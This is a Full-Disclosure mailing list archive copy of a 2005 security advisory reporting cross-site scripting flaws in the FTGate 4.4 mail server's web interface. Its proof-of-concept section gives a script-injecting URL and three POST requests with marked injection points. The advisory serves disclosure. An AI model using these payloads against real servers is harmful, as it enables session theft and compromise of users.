full-disclosure - [ACSSEC-2005-11-25-0x3] FTGate 4.4 [Build 4.4.000 Oct 26 2005] Cr oss Site Scripting Vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <19EB64BD78B38346A99498A89CF73AB3C48D30@dalexmb03.exchange.acsad.acs-inc.com>
Date: Tue Dec 20 09:30:08 2005
From: Security-Advisories at acs-inc.com (Security Advisories)
Subject: [ACSSEC-2005-11-25-0x3] FTGate 4.4 [Build 4.4.000
	Oct 26 2005] Cr oss Site Scripting Vulnerability


-=[+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++]=-
ACS Security Assessment Advisory - XSS Scripting Vulnerability

ID:       ACSSEC-2005-11-25 - 0x3

Class:    Cross-Site-Scripting (XSS) 
Package:  FTGate 4.4 [Build 4.4.000 Oct 26 2005]	 
Build:    Windows NT/2k/XP/2k3
Notified: Dec 01, 2005
Released: Dec 20, 2005

Remote:   Yes
Severity: Low

Credit:   Tim Shelton	        <security-advisories@...-inc.com>
-=[+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++]=-

-=[ Background

FTGate4 is a powerful Windows(TM) communication suite that combines 
exceptional mail handling facilities with comprehensive Groupware 
functionality. Its security and collaboration features were developed 
in conjunction with leading ISP's and define a new era in mail server 
performance.


-=[ Technical Description

FTGate 4.4 [Build 4.4.000 Oct 26 2005] is vulnerable to specially 
crafted XSS requests. A remote attacker could trick a user into 
viewing a vulnerable page which could then lead to remote compromise.


-=[ Proof of Concepts

http://127.0.0.1:8089/index.fts?href="><script>alert('XSS-magic-string');</s
cript>

POST /domains/index.fts 
href=%2Fdomains%2Findex.fts&config=1003&command=0&start=0&param1=Domain+List
%2C%2Fdomains%2Findex.fts[STRING INJECTION
HERE]&param2=&find=*&elements=10&aliases=1&data0=19

POST /config/licence.fts
href=%2Fconfig%2Flicence.fts&config=1003&command=0&param1=Routing%2C%2Ffilte
rs%2Froutes.fts[STRING INJECTION HERE]&param2=&reg=

POST /config/systemacl.fts
href=%2Fconfig%2Fsystemacl.fts&config=1003&command=0&id=0&param1=System+Time
rs%2C%2Fschedules%2Findex.fts[STRING INJECTION
HERE]&redirect=&data1=32&address=

-=[ Solution
No remedy available as of December 2005.

-=[ Credits

Vulnerability originally reported by Tim Shelton


-=[ ChangeLog

2005-11-25 : Original Advisory
2005-12-01 : Notified Vendor
2005-12-20 : No response from vendor, disclosing full information.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20051220/ccfb0f4c/attachment.html